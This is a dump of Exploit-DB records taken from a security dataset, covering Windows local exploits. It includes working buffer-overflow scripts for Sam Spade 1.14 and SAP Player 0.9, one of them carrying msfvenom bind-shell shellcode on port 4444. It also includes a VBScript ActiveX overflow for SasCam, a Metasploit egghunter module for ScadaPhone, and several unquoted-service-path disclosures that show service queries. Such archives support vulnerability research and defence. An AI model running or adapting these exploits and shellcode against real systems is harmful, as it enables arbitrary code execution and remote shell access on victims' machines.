deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38600
Description: Sam Spade 1.14 - Crawl Website Buffer Overflow
Type: local
Platform: windows
Date: 2015-11-02
Author: MandawCoder

Exploit:
# Exploit Title     : Sam Spade 1.14 - Buffer OverFlow
# Date              : 10/30/2015
# Exploit Author    : MandawCoder
# Contact           : MandawCoder@gmail.com
# Vendor Homepage   : http://samspade.org
# Software Link     : http://www.majorgeeks.com/files/details/sam_spade.html
# Version           : 1.14
# Tested on         : XP Professional SP3 En x86
# Category          : Local Exploit
# Description:
# bug is on this section == Tools -> Crawl website...
# Execute following exploit, then delete "http://" from "CRAWL all URLs below" part, then paste the content of file.txt into mentioned section.
#
# this section(and other sections as well) also has SEH buffer overflow ... I would really appreciated if someone Exploit it.


f = open("file.txt", "w")

Junk = "A"*503

addr = "\x53\x93\x42\x7E"

space = "AAAA"

nop="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

# Shellcode:
# windows/exec - 277 bytes
# CMD=calc.exe
shellcode= ("\xba\x1c\xb4\xa5\xac\xda\xda\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x33\x31\x53\x12\x83\xeb\xfc\x03\x4f\xba\x47\x59\x93\x2a\x0e"
"\xa2\x6b\xab\x71\x2a\x8e\x9a\xa3\x48\xdb\x8f\x73\x1a\x89\x23"
"\xff\x4e\x39\xb7\x8d\x46\x4e\x70\x3b\xb1\x61\x81\x8d\x7d\x2d"
"\x41\x8f\x01\x2f\x96\x6f\x3b\xe0\xeb\x6e\x7c\x1c\x03\x22\xd5"
"\x6b\xb6\xd3\x52\x29\x0b\xd5\xb4\x26\x33\xad\xb1\xf8\xc0\x07"
"\xbb\x28\x78\x13\xf3\xd0\xf2\x7b\x24\xe1\xd7\x9f\x18\xa8\x5c"
"\x6b\xea\x2b\xb5\xa5\x13\x1a\xf9\x6a\x2a\x93\xf4\x73\x6a\x13"
"\xe7\x01\x80\x60\x9a\x11\x53\x1b\x40\x97\x46\xbb\x03\x0f\xa3"
"\x3a\xc7\xd6\x20\x30\xac\x9d\x6f\x54\x33\x71\x04\x60\xb8\x74"
"\xcb\xe1\xfa\x52\xcf\xaa\x59\xfa\x56\x16\x0f\x03\x88\xfe\xf0"
"\xa1\xc2\xec\xe5\xd0\x88\x7a\xfb\x51\xb7\xc3\xfb\x69\xb8\x63"
"\x94\x58\x33\xec\xe3\x64\x96\x49\x1b\x2f\xbb\xfb\xb4\xf6\x29"
"\xbe\xd8\x08\x84\xfc\xe4\x8a\x2d\x7c\x13\x92\x47\x79\x5f\x14"
"\xbb\xf3\xf0\xf1\xbb\xa0\xf1\xd3\xdf\x27\x62\xbf\x31\xc2\x02"
 "\x5a\x4e")

f.write(Junk + addr + space + nop + shellcode)

f.close()

print "Done"
Exploit-DB #38601
Description: Sam Spade 1.14 - Scan Addresses Buffer Overflow
Type: local
Platform: windows
Date: 2015-11-02
Author: VIKRAMADITYA

Exploit:
#!/usr/bin/python 
# -*- coding: cp1252 -*-
# EXPLOIT TITLE: Sam Spade 1.14 Scan from IP address Field Exploit
# AUTHOR: VIKRAMADITYA "-OPTIMUS"
# Credits: Luis Martï¿½nez
# Date of Testing: 2nd November 2015
# Download Link : https://www.exploit-db.com/apps/7ad7569341d685b4760ba4adecab6def-spade114.exe
# Tested On : Windows XP Service Pack 2
# Steps to Exploit
# Step 1: Execute this python script
# Step 2: This script will create a file called buffer.txt
# Step 3: Copy the contents of buffer.txt file
# Step 4: Now open Sam Spade 1.14 
# Step 5: Go To 'Tools' > 'Scan Addresses...' 
# Step 6: Paste the contents in 'Scan from IP addresses' input field 
# Step 7: Connect to the target at port 4444 with ncat/nc 




file = open('buffer.txt' , 'wb');

buffer = "A"*507 + "\x9f\x43\x30\x5d"  #JMP ESP 
buffer += "\x90"*20

# msfvenom  -p windows/shell_bind_tcp -f c -b "\x00\x0a\x0d\x20\x0b\x0c"

buffer += ("\xba\x72\x30\xbb\xe7\xdd\xc1\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
"\x53\x31\x50\x12\x83\xc0\x04\x03\x22\x3e\x59\x12\x3e\xd6\x1f"
"\xdd\xbe\x27\x40\x57\x5b\x16\x40\x03\x28\x09\x70\x47\x7c\xa6"
"\xfb\x05\x94\x3d\x89\x81\x9b\xf6\x24\xf4\x92\x07\x14\xc4\xb5"
"\x8b\x67\x19\x15\xb5\xa7\x6c\x54\xf2\xda\x9d\x04\xab\x91\x30"
"\xb8\xd8\xec\x88\x33\x92\xe1\x88\xa0\x63\x03\xb8\x77\xff\x5a"
"\x1a\x76\x2c\xd7\x13\x60\x31\xd2\xea\x1b\x81\xa8\xec\xcd\xdb"
"\x51\x42\x30\xd4\xa3\x9a\x75\xd3\x5b\xe9\x8f\x27\xe1\xea\x54"
"\x55\x3d\x7e\x4e\xfd\xb6\xd8\xaa\xff\x1b\xbe\x39\xf3\xd0\xb4"
"\x65\x10\xe6\x19\x1e\x2c\x63\x9c\xf0\xa4\x37\xbb\xd4\xed\xec"
"\xa2\x4d\x48\x42\xda\x8d\x33\x3b\x7e\xc6\xde\x28\xf3\x85\xb6"
"\x9d\x3e\x35\x47\x8a\x49\x46\x75\x15\xe2\xc0\x35\xde\x2c\x17"
"\x39\xf5\x89\x87\xc4\xf6\xe9\x8e\x02\xa2\xb9\xb8\xa3\xcb\x51"
"\x38\x4b\x1e\xcf\x30\xea\xf1\xf2\xbd\x4c\xa2\xb2\x6d\x25\xa8"
"\x3c\x52\x55\xd3\x96\xfb\xfe\x2e\x19\x12\xa3\xa7\xff\x7e\x4b"
"\xee\xa8\x16\xa9\xd5\x60\x81\xd2\x3f\xd9\x25\x9a\x29\xde\x4a"
"\x1b\x7c\x48\xdc\x90\x93\x4c\xfd\xa6\xb9\xe4\x6a\x30\x37\x65"
"\xd9\xa0\x48\xac\x89\x41\xda\x2b\x49\x0f\xc7\xe3\x1e\x58\x39"
"\xfa\xca\x74\x60\x54\xe8\x84\xf4\x9f\xa8\x52\xc5\x1e\x31\x16"
"\x71\x05\x21\xee\x7a\x01\x15\xbe\x2c\xdf\xc3\x78\x87\x91\xbd"
"\xd2\x74\x78\x29\xa2\xb6\xbb\x2f\xab\x92\x4d\xcf\x1a\x4b\x08"
"\xf0\x93\x1b\x9c\x89\xc9\xbb\x63\x40\x4a\xcb\x29\xc8\xfb\x44"
"\xf4\x99\xb9\x08\x07\x74\xfd\x34\x84\x7c\x7e\xc3\x94\xf5\x7b"
"\x8f\x12\xe6\xf1\x80\xf6\x08\xa5\xa1\xd2")



file.write(buffer);
file.close()
Exploit-DB #49842
Description: Sandboxie Plus 0.7.4 - 'SbieSvc' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-05-07
Author: Erick Galindo

Exploit:
# Exploit Title: Sandboxie Plus 0.7.4 - 'SbieSvc' Unquoted Service Path
# Discovery by: Erick Galindo 
# Discovery Date: 2020-05-06
# Vendor Homepage: https://github.com/sandboxie-plus/Sandboxie/releases/download/0.7.4/Sandboxie-Plus-x64-v0.7.4.exe
# Tested Version: 0.7.4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es
# Step to discover Unquoted Service Path:

C:\wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i  "Sandboxie Service" | findstr /i /v """
Sandboxie Service    SbieSvc       C:\Program Files\Sandboxie-Plus\SbieSvc.exe                                        Auto 

# Service info

sc qc "SbieSvc"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SbieSvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Sandboxie-Plus\SbieSvc.exe
        GRUPO_ORDEN_CARGA  : UIGroup
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Sandboxie Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


#Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.
Exploit-DB #49631
Description: Sandboxie Plus v0.7.2 - 'SbieSvc' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-09
Author: Mohammed Alshehri

Exploit:
# Exploit Title: Sandboxie Plus v0.7.2 - 'SbieSvc' Unquoted Service Path
# Date: 2021-1-20
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: sandboxie-plus.com
# Software Link: https://github.com/sandboxie-plus/Sandboxie/releases/download/0.7.2/Sandboxie-Plus-x64-v0.7.2.exe
# Version: Version 0.7.2
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763


# Service info:
C:\Users\m507>sc qc SbieSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SbieSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Sandboxie-Plus\SbieSvc.exe
        LOAD_ORDER_GROUP   : UIGroup
        TAG                : 0
        DISPLAY_NAME       : Sandboxie Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>


# Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.
Exploit-DB #50819
Description: Sandboxie-Plus 5.50.2 - 'Service SbieSvc' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-03-10
Author: Antonio Cuomo

Exploit:
# Exploit Title: Sandboxie-Plus 5.50.2 - 'Service SbieSvc' Unquoted Service Path
# Exploit Author: Antonio Cuomo (arkantolo)
# Exploit Date: 2022-03-09
# Vendor : David Xanatos
# Version : SbieSvc 5.50.2
# Vendor Homepage :  https://sandboxie-plus.com/
# Tested on OS: Windows 10 Pro x64

#PoC :
==============

C:\>sc qc SbieSvc
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: SbieSvc
        TIPO                      : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO                : 2   AUTO_START
        CONTROLLO_ERRORE          : 1   NORMAL
        NOME_PERCORSO_BINARIO     : C:\Program Files\Sandboxie-Plus\SbieSvc.exe
        GRUPPO_ORDINE_CARICAMENTO : UIGroup
        TAG                       : 0
        NOME_VISUALIZZATO         : Sandboxie Service
        DIPENDENZE                :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #49042
Description: SAntivirus IC 10.0.21.61 - 'SAntivirusIC' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-13
Author: Mara Ramirez

Exploit:
# Exploit Title: SAntivirus IC 10.0.21.61 - 'SAntivirusIC' Unquoted Service Path
# Discovery by: Mara Ramirez
# Discovery Date: 10-11-2020
# Vendor Homepage: https://www.segurazo.com/download.html
# Software Links : https://www.segurazo.com/download.html
# Tested Version: 10.0.21.61
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home Single Languaje 

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """                                        SAntivirusIC                                                                              SAntivirusIC                       C:\Program Files (x86)\Digital Communications\SAntivirus\SAntivirusIC.exe -service  	Auto

C:\>sc qc SAntivirusIC
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SAntivirusIC
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Digital Communications\SAntivirus\SAntivirusIC.exe -service
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : SAntivirusIC
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #9581
Description: SAP Player 0.9 - '.m3u' Universal Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-09-03
Author: PLATEN

Exploit:
#!/usr/bin/perl

print qq(
  ############################################################
  ##            Iranian Pentesters Home                     ##
  ##               Www.Pentesters.Ir                        ##
  ##              PLATEN -[ H.jafari ]-                     ## 
  ## SAP player 0.9 (.m3u) Universal Local BoF Exploit(SEH) ##
  ## http://www.sorinara.com/sap/sap09.exe                  ##
  ## bug found & exploited by:  PLATEN                      ##
  ## E-mail && blog:                                        ##
  ## hjafari.blogspot.com                                   ##
  ## platen.secure[at]gmail[dot]com                         ## 
  ## Greetings: Cru3l.b0y, b3hz4d, Cdef3nder, Snake         ##
  ## and all members in Pentesters.ir                       ##
  ############################################################
);
$junk="\x41"x 35496;
$nseh = "\xEB\x06\x90\x90"; #short jump over SEH handler
$seh="\x27\x4a\x01\x10"; #universal p/p/r 
$nop="\x90"x 100;
# win32_exec - Size=160
#EXITFUNC=seh CMD=calc  
#Encoder=PexFnstenvSub http://metasploit.com
$shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x38".
"\x78\x73\x8a\x83\xeb\xfc\xe2\xf4\xc4\x90\x37\x8a\x38\x78\xf8\xcf".
"\x04\xf3\x0f\x8f\x40\x79\x9c\x01\x77\x60\xf8\xd5\x18\x79\x98\xc3".
"\xb3\x4c\xf8\x8b\xd6\x49\xb3\x13\x94\xfc\xb3\xfe\x3f\xb9\xb9\x87".
"\x39\xba\x98\x7e\x03\x2c\x57\x8e\x4d\x9d\xf8\xd5\x1c\x79\x98\xec".
"\xb3\x74\x38\x01\x67\x64\x72\x61\xb3\x64\xf8\x8b\xd3\xf1\x2f\xae".
"\x3c\xbb\x42\x4a\x5c\xf3\x33\xba\xbd\xb8\x0b\x86\xb3\x38\x7f\x01".
"\x48\x64\xde\x01\x50\x70\x98\x83\xb3\xf8\xc3\x8a\x38\x78\xf8\xe2".
"\x04\x27\x42\x7c\x58\x2e\xfa\x72\xbb\xb8\x08\xda\x50\x88\xf9\x8e".
"\x67\x10\xeb\x74\xb2\x76\x24\x75\xdf\x1b\x12\xe6\x5b\x78\x73\x8a";
open(fhandle,'>>expl.m3u');
print fhandle $junk.$nseh.$seh.$nop.$shellcode;
close(fhandle);
print "\n  [+] File created successfully: expl.m3u \n";

# milw0rm.com [2009-09-03]
Exploit-DB #49689
Description: SAPSetup Automatic Workstation Update Service 750 - 'NWSAPAutoWorkstationUpdateSvc' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-22
Author: Alan Mondragon

Exploit:
# Exploit Title: SAPSetup Automatic Workstation Update Service 750 - 'NWSAPAutoWorkstationUpdateSvc' Unquoted Service Path
# Discovery by: Alan Mondragon
# Discovery Date: 2021-03-16
# Vendor Homepage: https://help.sap.com/
# Software Links : https://help.sap.com/
# SAP
# Tested Version: 750 Final Release
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro 64 bits
 
# Step to discover Unquoted Service Path: 
 
C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
SAPSetup Automatic Workstation Update Service                                       NWSAPAutoWorkstationUpdateSvc                           C:\Program Files (x86)\SAP\SAPsetup\Setup\Updater\NwSapAutoWorkstationUpdateService.exe                                                                                                                                                                                   Auto


C:\>sc qc "NWSAPAutoWorkstationUpdateSvc"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NWSAPAutoWorkstationUpdateSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\SAP\SAPsetup\Setup\Updater\NwSapAutoWorkstationUpdateService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : SAPSetup Automatic Workstation Update Service
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem
 
#Exploit:
 
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #50061
Description: SAPSprint 7.60 - 'SAPSprint' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-25
Author: Brian Rodriguez

Exploit:
# Exploit Title: SAPSprint 7.60 - 'SAPSprint' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 21-06-2021
# Vendor Homepage:  https://brother.com/
# Tested Version: 7.60
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

SAPSprint    SAPSprint   C:\Program Files\SAP\SAPSprint\sapsprint.exe   Auto

C:\>sc qc SAPSprint
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SAPSprint
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE        : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME:  C:\Program Files\SAP\SAPSprint\sapsprint.exe
        LOAD_ORDER_GROUP  :
        TAG           : 0
        DISPLAY_NAME     : SAPSprint
        DEPENDENCIES       : Spooler
        SERVICE_START_NAME: LocalSystem
Exploit-DB #14215
Description: SasCam 2.7 - ActiveX Head Buffer Overflow
Type: local
Platform: windows
Date: 2010-07-05
Author: blake

Exploit:
# Exploit Title: SasCam 2.7 ActiveX Head Buffer Overflow
# Date: July 4, 2010
# Author: Blake
# Software Link:http://download.cnet.com/SasCam-Webcam-Server/3000-2348_4-10491197.html
# Version: 2.7
# Tested on: Windows XP SP3 / IE6 and 7

<html>
<object classid='clsid:0297D24A-F425-47EE-9F3B-A459BCE593E3'
id='target'></object>
<script language='vbscript'>

'for debugging/custom prolog
'targetFile = "C:\Program Files\SasCam_free\XHTTP.dll"
'prototype  = "Sub Head ( ByVal sURL As String )"
'memberName = "Head"
'progid     = "XHTTP.HTTP"
'argCount   = 1

'EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2
sc = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49") & _
unescape("%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68") & _
unescape("%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42") & _
unescape("%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a") & _
unescape("%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c") & _
unescape("%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45") & _
unescape("%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70") & _
unescape("%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c") & _
unescape("%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f") & _
unescape("%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d") & _
unescape("%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46") & _
unescape("%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77") & _
unescape("%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a") & _
unescape("%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f") & _
unescape("%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35") & _
unescape("%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d") & _
unescape("%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71") & _
unescape("%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f") & _
unescape("%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52") & _
unescape("%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61") & _
unescape("%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35") & _
unescape("%50%68")

buffer = String(8349, "A")
next_seh = unescape("%eb%06%90%90")
seh = unescape("%56%29%d1%72")                ' 0x72D12956 [msacm32.drv]
nops = String(20, unescape("%90"))                  ' nop sled
junk = String(4151, "B")

exploit = buffer + next_seh + seh + nops + sc + junk
target.Head exploit

</script>
Exploit-DB #17833
Description: ScadaTEC ScadaPhone 5.3.11.1230 - Local Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2011-09-13
Author: Metasploit

Exploit:
##
# $Id: scadaphone_zip.rb 13728 2011-09-13 20:10:28Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ScadaTEC ScadaPhone <= v5.3.11.1230 Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow vulnerability in
				version 5.3.11.1230 of scadaTEC's ScadaPhone.

				In order for the command to be executed, an attacker must convince someone to
				load a specially crafted project zip file with ScadaPhone.
				By doing so, an attacker can execute arbitrary code as the victim user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'mr_me <steventhomasseeley[at]gmail.com>', # found + msf
				],
			'Version'        => '$Revision: 13728 $',
			'References'     =>
				[
					#[ 'CVE', '' ],
					[ 'OSVDB', '75375' ],
					[ 'URL', 'http://www.scadatec.com/' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/17817/' ],
				],
         		'Platform'          => [ 'win' ],
         		'Payload'           =>
				{
					'Space'    => 700,
					'BadChars' => "\x00\x0a\x0d",
					'DisableNops' => true,
				},
			'Targets'        =>
				[
					# POP ESI; POP EBX; RETN [ScadaPhone.exe]
					[ 'Windows Universal', { 'Ret' => 0x004014F4 } ],
				],
			'DisclosureDate' => 'Sep 12 2011',
			'DefaultTarget'  => 0))

			register_options(
		 	[
				OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
			], self.class)

	end

	def exploit

		eggoptions = 
		{
			:checksum => false,
			:eggtag => 'zipz' 
		}

		hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

		fname = rand_text_alpha_upper(229)
		fname << hunter
		fname << rand_text_alpha_upper(48-hunter.length)
		fname << Rex::Arch::X86.jmp_short(-50)
		fname << rand_text_alpha_upper(2)
		fname << [target.ret].pack('V')
		fname << rand_text_alpha_upper(100)
		fname << egg
		fname << rand_text_alpha_upper(4096-fname.length)
		fname << [0x7478741e].pack('V')

		zip = Rex::Zip::Archive.new
		xtra = [0xdac0ffee].pack('V')
		comment = [0xbadc0ded].pack('V')
		zip.add_file(fname, xtra, comment)

		# Create the file
		print_status("Creating '#{datastore['FILENAME']}' file...")

		file_create(zip.pack)
	end

end
Exploit-DB #49453
Description: Selea CarPlateServer (CPS) 4.0.1.6 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2021-01-22
Author: LiquidWorm

Exploit:
# Exploit Title: Selea CarPlateServer (CPS) 4.0.1.6 - Local Privilege Escalation
# Date: 08.11.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.selea.com

Selea CarPlateServer (CPS) v4.0.1.6 Local Privilege Escalation


Vendor: Selea s.r.l.
Product web page: https://www.selea.com
Affected version: 4.0.1.6(210120)
                  4.013(201105)
                  3.100(200225)
                  3.005(191206)
                  3.005(191112)

Summary: Our CPS (Car Plate Server) software is an advanced solution that can
be installed on computers and servers and used as an operations centre. It can
create sophisticated traffic control and road safety systems connecting to
stationary, mobile or vehicle-installed ANPR systems. CPS allows to send alert
notifications directly to tablets or smartphones, it can receive and transfer
data through safe encrypted protocols (HTTPS and FTPS). CPS is an open solution
that offers full integration with main video surveillance software. Our CPS
software connects to the national operations centre and provides law enforcement
authorities with necessary tools to issue alerts. CPS is designed to guarantee
cooperation among different law enforcement agencies. It allows to create a
multi-user environment that manages different hierarchy levels and the related
division of competences.

Desc: The application suffers from an unquoted search path issue impacting the
service 'Selea CarPlateServer' for Windows deployed as part of Selea CPS software
application. This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system. A successful
attempt would require the local user to be able to insert their code in the system
root path undetected by the OS or other security applications where it could
potentially be executed during application startup or reboot. If successful, the
local user's code would execute with the elevated privileges of the application.

Tested on: Microsoft Windows 10 Enterprise
           SeleaCPSHttpServer/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5621
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5621.php


08.11.2020

--


C:\Users\Smurf>sc qc "Selea CarPlateServer"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Selea CarPlateServer
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:/Program Files/Selea/CarPlateServer/CarPlateService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Selea CarPlateServer
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\Smurf>